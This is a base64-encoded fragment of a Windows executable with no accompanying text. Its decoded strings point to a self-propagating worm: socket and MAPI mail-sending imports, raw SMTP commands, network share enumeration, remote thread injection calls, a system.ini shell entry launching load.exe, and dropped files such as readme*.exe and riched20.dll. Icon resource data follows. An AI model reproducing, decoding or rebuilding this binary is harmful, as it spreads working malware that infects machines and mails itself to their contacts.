AABzZW5kAAAAAHJlY3Zmcm9tAAAAAHJlY3YAAAAAYmluZAAAAABjb25uZWN0AHNvY2tldAAAX19X U0FGRElzU2V0AAAAAFdTQUNsZWFudXAAAFdTQVN0YXJ0dXAAAHdzMl8zMi5kbGwAAE1BUElMb2dv ZmYAAE1BUElTZW5kTWFpbAAAAABNQVBJRnJlZUJ1ZmZlcgAATUFQSVJlYWRNYWlsAAAAAE1BUElG aW5kTmV4dAAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSUxvZ29uAAAATUFQSTMyLkRMTAAAV05ldEFk ZENvbm5lY3Rpb24yQQBXTmV0Q2FuY2VsQ29ubmVjdGlvbjJBAABXTmV0T3BlbkVudW1BAAAAV05l dEVudW1SZXNvdXJjZUEAAABXTmV0Q2xvc2VFbnVtAAAATVBSLkRMTABTaGVsbEV4ZWN1dGVBAAAA U0hFTEwzMi5ETEwAUmVnaXN0ZXJTZXJ2aWNlUHJvY2VzcwAAVmlydHVhbEZyZWVFeAAAAFZpcnR1 YWxRdWVyeUV4AABWaXJ0dWFsQWxsb2NFeAAAVmlydHVhbFByb3RlY3RFeAAAAABDcmVhdGVSZW1v dGVUaHJlYWQAAEhlYXBDb21wYWN0AEhlYXBGcmVlAAAAAEhlYXBBbGxvYwAAAEhlYXBEZXN0cm95 AEhlYXBDcmVhdGUAAEtFUk5FTDMyLkRMTAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxBcHAgUGF0aHNcAAAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1 cnJlbnRWZXJzaW9uXEFwcCBQYXRocwBUeXBlAAAAAFJlbWFyawAAWDpcAFNPRlRXQVJFXE1pY3Jv c29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXE5ldHdvcmtcTGFuTWFuXFgkAFBhcm0yZW5jAAAA AFBhcm0xZW5jAAAAAEZsYWdzAAAAUGF0aAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxOZXR3b3JrXExhbk1hblwAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93 c1xDdXJyZW50VmVyc2lvblxOZXR3b3JrXExhbk1hbgAAAABTWVNURU1cQ3VycmVudENvbnRyb2xT ZXRcU2VydmljZXNcbGFubWFuc2VydmVyXFNoYXJlcwAAAA0KAABDYWNoZQAAAFNvZnR3YXJlXE1p Y3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXE1hcE1haWwAAFFVSVQNCgAA Lg0KAFN1YmplY3Q6IAAAAEZyb206IDwAREFUQQ0KAABSQ1BUIFRPOiA8AAA+DQoATUFJTCBGUk9N OiA8AAAAAEhFTE8gAAAAYWFiYmNjAAAgLWRvbnRydW5vbGQAAAAATlVMTAAAAABccmVhZG1lKi5l eGUAAAAAYWRtaW4uZGxsAAAAcXVzZXJ5OWJub3cAIC1xdXNlcnk5Ym5vdwAAAFxtbWMuZXhlAAAA AFxyaWNoZWQyMC5kbGwAAABib290AAAAAFNoZWxsAAAAZXhwbG9yZXIuZXhlIGxvYWQuZXhlIC1k b250cnVub2xkAAAAXHN5c3RlbS5pbmkAXGxvYWQuZXhlAAAAXFwAAG9jdGV0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAMAAwAAACgAAIAKAAAAYAAA gA4AAAB4AACAAAAAAAAAAAAEAAAAAAAFAAEAAACQAACAAgAAAKgAAIADAAAAwAAAgAQAAADYAACA BQAAAPAAAIAAAAAAAAAAAAQAAAAAAAEAZgAAAAgBAIAAAAAAAAAAAAQAAAAAAAEAZQAAACABAIAA AAAAAAAAAAQAAAAAAAEABAgAADgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAEgBAAAAAAAAAAAAAAQA AAAAAAEABAgAAFgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAGgBAAAAAAAAAAAAAAQAAAAAAAEABAgA AHgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAIgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAJgBAACo4QAA KAEAAOQEAAAAAAAA0OIAAOgCAADkBAAAAAAAALjlAACoCAAA5AQAAAAAAABg7gAAqA4AAOQEAAAA AAAACP0AADABAADkBAAAAAAAADj+AAABAAAA5AQAAAAAAAA8/gAATAAAAOQEAAAAAAAAKAAAABAA AAAgAAAAAQAEAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACA AICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAB3d3d3d3cAAHiIiIiIhw AMcP+I+IiHAMAAZm+PiIcDxMzMxvj4hwd0zIjMb4iHB3bG///4+IcAeMZmZm+IhwBHhv/Ob/iHAA R4zOb/+HcAAEZmb8+HdwAAcP9m/3AAAABw////cHAAAHAAAAB3AAAAd3d3d3AAAAAAAAAAAAAOAB gADgAQCAyAH//6AB//gAAQAAAAEAgAAB//+AAf/4gAEAAMABAIDgAf//6AH/+OgLAADv5wCA4A8A AP//AAgoAAAAIAAAAEAAAAABAAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAA AAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIiIgAAAAAh3d3d3d3d3d3d3d4AAAAAI////f3d3d3d3d3 eAAAAACA////d/f3d3d3d3gAAAAAgP////9/f393d3d4AAAEzMD///////f393d3eAAATACMBMZm b////393d3gAAEwAAMZszMZv//f393d4AAjEBExszMzMxv//f3d3eAAIZETGzGZszMxv//d3d3gA CDZMZsb//MzGxv//d3d4AAiMxGxv//9MZub/9/d3eAAIg2xsb/////////9/d3gACHiGbGZmZmZm Zv///3d4AACHhszMzGZu7ub///f3eAAAyHzGZmZmZu7m////d3gAAASHxm///0bu5v////d4AAAM SHxm//Rmfm////93eAAAAMaHZszGbu5v////93gAAAAMZnzMxubm//////94AAAAAMbMzMxub/z/ ///3eAAAAACAZmZmZv/2////d4gAAAAAgP//Zm//YP//93iIAAAAAID///9mZv///3eIiAAAAACA //////////gAAAAAAAAAgP/////////4B3iAAAAAAID/////////+HeIAAAAAACA//////////h4 gAAAAAAAgP/////////4iAAAAAAAAIAAAAAAAAAACIAAAAAAAACIiIiIiIiIiIgAAAAA//////wA AAP8AAAD/AAAA/0AAAP9AAAD4QAAA8wAAAPMAAADiAAAA4AAAAOAAAADgAAAA4AAAAOAAAADwAAA A8AAAAPgAAAD4AAAA/AAAAP4AAAD/AAAA/0AAAP9ABAD/QAAA/0AAAP9AACH/QAAD/0AAB/9AAA/ /f/+f/wAAP8oAAAAIAAAAEAAAAABAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA gAAAAICAAIAAAACAAIAAgIAAAMDAwADA3MAA8MqmAAQEBAAICAgADAwMABEREQAWFhYAHBwcACIi IgApKSkAVVVVAE1NTQBCQkIAOTk5AIB8/wBQUP8AkwDWAP/szADG1u8A1ufnAJCprQAAADMAAABm AAAAmQAAAMwAADMAAAAzMwAAM2YAADOZAAAzzAAAM/8AAGYAAABmMwAAZmYAAGaZAABmzAAAZv8A AJkAAACZMwAAmWYAAJmZAACZzAAAmf8AAMwAAADMMwAAzGYAAMyZAADMzAAAzP8AAP9mAAD/mQAA /8wAMwAAADMAMwAzAGYAMwCZADMAzAAzAP8AMzMAADMzMwAzM2YAMzOZADMzzAAzM/8AM2YAADNm MwAzZmYAM2aZADNmzAAzZv8AM5kAADOZMwAzmWYAM5mZADOZzAAzmf8AM8wAADPMMwAzzGYAM8yZ ADPMzAAzzP8AM/8zADP/ZgAz/5kAM//MADP//wBmAAAAZgAzAGYAZgBmAJkAZgDMAGYA/wBmMwAA ZjMzAGYzZgBmM5kAZjPMAGYz/wBmZgAAZmYzAGZmZgBmZpkAZmbMAGaZAABmmTMAZplmAGaZmQBm mcwAZpn/AGbMAABmzDMAZsyZAGbMzABmzP8AZv8AAGb/MwBm/5kAZv/MAMwA/wD/AMwAmZkAAJkz mQCZAJkAmQDMAJkAAACZMzMAmQBmAJkzzACZAP8AmWYAAJlmMwCZM2YAmWaZAJlmzACZM/8AmZkz AJmZZgCZmZkAmZnMAJmZ/wCZzAAAmcwzAGbMZgCZzJkAmczMAJnM/wCZ/wAAmf8zAJnMZgCZ/5kA mf/MAJn//wDMAAAAmQAzAMwAZgDMAJkAzADMAJkzAADMMzMAzDNmAMwzmQDMM8wAzDP/AMxmAADM ZjMAmWZmAMxmmQDMZswAmWb/AMyZAADMmTMAzJlmAMyZmQDMmcwAzJn/AMzMAADMzDMAzMxmAMzM mQDMzMwAzMz/AMz/AADM/zMAmf9mAMz/mQDM/8wAzP//AMwAMwD/AGYA/wCZAMwzAAD/MzMA/zNm AP8zmQD/M8wA/zP/AP9mAAD/ZjMAzGZmAP9mmQD/ZswAzGb/AP+ZAAD/mTMA/5lmAP+ZmQD/mcwA /5n/AP/MAAD/zDMA/8xmAP/MmQD/zMwA/8z/AP//MwDM/2YA//+ZAP//zABmZv8AZv9mAGb//wD/ ZmYA/2b/AP//ZgAhAKUAX19fAHd3dwCGhoYAlpaWAMvLywCysrIA19fXAN3d3QDj4+MA6urqAPHx 8QD4+PgA8Pv/AKSgoACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK6xISEhISEhISEhISEhISEhISEhISEhISCgoKCgoK CgrrvLy8vLy8vLy8vLy8vLy8vLy8vLy8vBIKCgoKCgoKCuvz8/Pz8/Mb8xsbGxsbGxsbGxsbGxu8 EgoKCgoKCgoK6wr09PTz9PMbG/Mb8xsbGxsbGxsbG7wSCgoKCgoKCgrrCvb09vTz9PPzG/Mb8xvz GxsbGxsbvBIKCgoKCgSnp6cK9Pb09vTz9PTz8/Mb8xvzGxsbGxu8EgoKCgoEpwoK66cKhaeKioqK 8/Tz9PPz8xvzGxsbG7wSCgoKCgSnCgoKCqeLrM7Ozs6KivTz9PMb8xvzGxsbvBIKCgrrpwQKZoan i87Ozs7Ozs7OivTz9PMb8xsbGxu8EgoKCuqtpmaFp4vOzqysrM7Ozs7OivTz8/MbGxsbG7wSCgoK 6gOthqeLrM6s9vb2p87OzrLOivTz8/MbGxsbvBIKCgrqc86nhovOrPb29vb2hc6ystOK8/TzG/Mb Gxu8EgoKCut0A62ni86s9vb29vb29vb29vP08/TzG/MbG7wSCgoK65l0z4uszqysrKysrKysrKys rPT09PPz8xsbvBIKCgoK65ntrM7Ozs7OzrOzs9PT09Os9vTz9PMb8xu8EgoKCgqnc5rOzqysrKys rKysrNnZ06z09PTz8/MbG7wSCgoKCgqGkaDOrKz29vb29oWs6NnTrPb09PTz8/MbvBIKCgoKCqeG kaDOrKz29vaFrLPh6Kz29Pb08/TzGxu8EgoKCgoKCqestO+srKenp6yz2ejTrPb29PT08/PzG7wS CgoKCgoKCqesrLvOzs7Os9Oz06z29vT29PT08/PzvBIKCgoKCgoKCqeszs7Ozs7Os9Os9vbO9vT2 9PTz87wHEgoKCgoKCgoK6wqsrKysrKysrPb29qz29vT09PO8B5ISCgoKCgoKCgrrCvb29vasrKz2 9vasCvb09vTzvAeSkhIKCgoKCgoKCusK9vb29vb2rKysrPb29vb087wHkpLrEgoKCgoKCgoK6wr2 9vb29vb29vb29vb29vYSQ0NDQ0NDCgoKCgoKCgrrCvb29vb29vb29vb29vb29pIKG7ySEgoKCgoK CgoKCusK9vb29vb29vb29vb29vb2khu8khIKCgoKCgoKCgoK6wr29vb29vb29vb29vb29vaSvJIS CgoKCgoKCgoKCgrrCvb29vb29vb29vb29vb29pKSEgoKCgoKCgoKCgoKCusKCgoKCgoKCgoKCgoK CgoKkhIKCgoKCgoKCgoKCgoK6+zs7Ozs7Ozs7Ozs7Ozs7OzsCgoKCgoKCgr//////AAAA/wAAAP8 AAAD/QAAA/0AAAPhAAADzAAAA8wAAAOIAAADgAAAA4AAAAOAAAADgAAAA4AAAAPAAAADwAAAA+AA AAPgAAAD8AAAA/gAAAP8AAAD/QAAA/0AEAP9AAAD/QAAA/0AAIf9AAAP/QAAH/0AAD/9//5//AAA /ygAAAAwAAAAYAAAAAEACAAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAA gAAAAIAAgACAgAAAwMDAAMDcwADwyqYABAQEAAgICAAMDAwAERERABYWFgAcHBwAIiIiACkpKQBV VVUATU1NAEJCQgA5OTkAgHz/AFBQ/wCTANYA/+zMAMbW7wDW5+cAkKmtAAAAMwAAAGYAAACZAAAA zAAAMwAAADMzAAAzZgAAM5kAADPMAAAz/wAAZgAAAGYzAABmZgAAZpkAAGbMAABm/wAAmQAAAJkz AACZZgAAmZkAAJnMAACZ/wAAzAAAAMwzAADMZgAAzJkAAMzMAADM/wAA/2YAAP+ZAAD/zAAzAAAA MwAzADMAZgAzAJkAMwDMADMA/wAzMwAAMzMzADMzZgAzM5kAMzPMADMz/wAzZgAAM2YzADNmZgAz ZpkAM2bMADNm/wAzmQAAM5kzADOZZgAzmZkAM5nMADOZ/wAzzAAAM8wzADPMZgAzzJkAM8zMADPM /wAz/zMAM/9mADP/mQAz/8wAM///AGYAAABmADMAZgBmAGYAmQBmAMwAZgD/AGYzAABmMzMAZjNm AGYzmQBmM8wAZjP/AGZmAABmZjMAZmZmAGZmmQBmZswAZpkAAGaZMwBmmWYAZpmZAGaZzABmmf8A ZswAAGbMMwBmzJkAZszMAGbM/wBm/wAAZv8zAGb/mQBm/8wAzAD/AP8AzACZmQAAmTOZAJkAmQCZ AMwAmQAAAJkzMwCZAGYAmTPMAJkA/wCZZgAAmWYzAJkzZgCZZpkAmWbMAJkz/wCZmTMAmZlmAJmZ mQCZmcwAmZn/AJnMAACZzDMAZsxmAJnMmQCZzMwAmcz/AJn/AACZ/zMAmcxmAJn/mQCZ/8wAmf// AMwAAACZADMAzABmAMwAmQDMAMwAmTMAAMwzMwDMM2YAzDOZAMwzzADMM/8AzGYAAMxmMwCZZmYA zGaZAMxmzACZZv8AzJkAAMyZMwDMmWYAzJmZAMyZzADMmf8AzMwAAMzMMwDMzGYAzMyZAMzMzADM zP8AzP8AAMz/MwCZ/2YAzP+ZAMz/zADM//8AzAAzAP8AZgD/AJkAzDMAAP8zMwD/M2YA/zOZAP8z zAD/M/8A/2YAAP9mMwDMZmYA/2aZAP9mzADMZv8A/5kAAP+ZMwD/mWYA/5mZAP+ZzAD/mf8A/8wA AP/MMwD/zGYA/8yZAP/MzAD/zP8A//8zAMz/ZgD//5kA///MAGZm/wBm/2YAZv//AP9mZgD/Zv8A //9mACEApQBfX18Ad3d3AIaGhgCWlpYAy8vLALKysgDX19cA3d3dAOPj4wDq6uoA8fHxAPj4+ADw +/8ApKCgAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8ACgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgrrEhISEhISEhISEhISEhISEhIS EhISEhISEhISEhISEhISEhISCgoKCgoKCgoKCgrrEhISEhISEhISEhISEhISEhISEhISEhISEhIS EhISEhISEhISCgoKCgoKCgoKCgrrvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vBIS CgoKCgoKCgoKCgrr8/Pz8/Pz8/Pz8xvz8xsbGxsbGxsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoK Cgrr8/Pz8/Pz8/Pz8xvz8xsbGxsbGxsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr09PT0 9PP09PMbGxvz8xvz8xsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr09PT09PP09PMbGxvz 8xvz8xsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr29PT29vTz8/Tz8/MbG/MbG/MbG/Pz GxsbGxsbGxsbvBISCgoKCgoKBASnp6enCgr09vb09Pb09PP09PTz8/Pz8xvz8xsb8xsbGxsbGxsb vBISCgoKCgoKBASnp6enCgr09vb09Pb09PP09PTz8/Pz8xvz8xsb8xsbGxsbGxsbvBISCgoKCgoE p6cKCgrrp6cKhYWnp4qKioqKivP09PP09PPz8/PzG/PzGxsbGxsbvBISCgoKCgoEp6cKCgoKCgqn i4usrM7Ozs7OzoqKivTz8/Tz8xsb8xsb8xsbGxsbvBISCgoK6+unBAQKZmaGp6eLzs7Ozs7Ozs7O zs7Ozor09PP09PPzG/PzGxsbGxsbvBISCgoK6+unBAQKZmaGp6eLzs7Ozs7Ozs7Ozs7Ozor09PP0 9PPzG/PzGxsbGxsbvBISCgoK6uqtpqZmhYWni4vOzs6srKysrM7Ozs7Ozs6KivTz8/Pz8xsbGxsb GxsbvBISCgoK6uoDra2Gp6eLrKzOrKz29vb29qfOzs7OzrLOzor09PPz8/PzGxsbGxsbvBISCgoK 6upzzs6nhoaLzs6s9vb29vb29vaFhc6ysrLT04rz8/T08xsb8xsbGxsbvBISCgoK6upzzs6nhoaL zs6s9vb29vb29vaFhc6ysrLT04rz8/T08xsb8xsbGxsbvBISCgoK6+t0AwOtp6eLzs6s9vb29vb2 9vb29vb29vb29vP09PPz9PPzG/PzGxsbvBISCgoK6+uZdHTPi4uszs6srKysrKysrKysrKysrKys rKz09PT09PPz8/PzGxsbvBISCgoKCgrrmZntrKzOzs7Ozs7Ozs6zs7Ozs9PT09PT06z29vT08/T0 8xsb8xsbvBISCgoKCgrrmZntrKzOzs7Ozs7Ozs6zs7Ozs9PT09PT06z29vT08/T08xsb8xsbvBIS CgoKCgqnc3Oazs7OrKysrKysrKysrKysrKzZ2dnT06z09PT09PPz8/PzGxsbvBISCgoKCgqnc3Oa zs7OrKysrKysrKysrKysrKzZ2dnT06z09PT09PPz8/PzGxsbvBISCgoKCgoKhoaRoKDOrKys9vb2 9vb29vaFhazo6NnT06z29vT09PT08/Pz8xsbvBISCgoKCgoKp6eGkZGgzs6srKz29vb29oWsrLPh 4eisrPb09Pb29PPz9PPzGxsbvBISCgoKCgoKp6eGkZGgzs6srKz29vb29oWsrLPh4eisrPb09Pb2 9PPz9PPzGxsbvBISCgoKCgoKCgqnrKy07++srKynp6enp6yzs9no6NOsrPb29vT09PT08/Pz8xsb vBISCgoKCgoKCgoKp6esrKy7zs7Ozs7OzrPT07PT06z29vb09Pb29PT09PPz8/PzvBISCgoKCgoK CgoKCgqnrKzOzs7Ozs7Ozs6zs9OsrPb29s729vT09vT09PPz87y8BxISCgoKCgoKCgoKCgqnrKzO zs7Ozs7Ozs6zs9OsrPb29s729vT09vT09PPz87y8BxISCgoKCgoKCgoKCgrrCgqsrKysrKysrKys rKz29vb29qz29vb29PT09PPzvAcHkhISCgoKCgoKCgoKCgrrCgr29vb29vasrKysrPb29vasrAr2 9vT09vT087y8B5KSkhISCgoKCgoKCgoKCgrrCgr29vb29vb29vasrKysrKz29vb29vb29PPzvAcH kpKS6xISCgoKCgoKCgoKCgrrCgr29vb29vb29vasrKysrKz29vb29vb29PPzvAcHkpKS6xISCgoK CgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29hISQ0NDQ0NDQ0NDCgoKCgoKCgoKCgrr Cgr29vb29vb29vb29vb29vb29vb29vb29pKSChsbvJKSEgoKCgoKCgoKCgoKCgrrCgr29vb29vb2 9vb29vb29vb29vb29vb29pKSChsbvJKSEgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb2 9vb29vb29pKSG7y8khISCgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKS vJKSEgoKCgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoK CgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoKCgoKCgoKCgoK CgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoKCgoKCgoKCgoKCgrrCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCpKSEgoKCgoKCgoKCgoKCgoKCgoKCgrr7Ozs7Ozs7Ozs7Ozs7Ozs 7Ozs7Ozs7Ozs7OzsCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoK////////SUz/AAAAAAdGSf8AAAAAB3hF/wAAAAAHAEn/AAAAAAdfTf8AAAAAB0Ux/2AA AAAHMUb/YAAAAAdfRv9gAAAAB1Vf4GAAAAAHeEXgYAAAAAcASccAAAAAB19DxwAAAAAHeEUEAAAA AAcASQQAAAAAB19DAAAAAAAHTEwAAAAAAAcxAAAAAAAAB0VEAAAAAAAHWQAAAAAAAAcAAQAAAAAA B0RJwAAAAAAHMHjAAAAAAAcAAMAAAAAAB1RfwAAAAAAHeEXgAAAAAAcASeAAAAAAB19Q4AAAAAAH eEX4AAAAAAcASfwAAAAAB19Q/wAAAAAHSU7/AAAAAAcyNv9gAAAAB19F/2AACAAHU1T/YAAAAAdJ Qf9gAAAABzI3/2AAAAAHX0X/YAAACB9QRf9gAAAIHzEy/2AAAAA/RF//YAAAAP9FUP9gAAAB/3hF 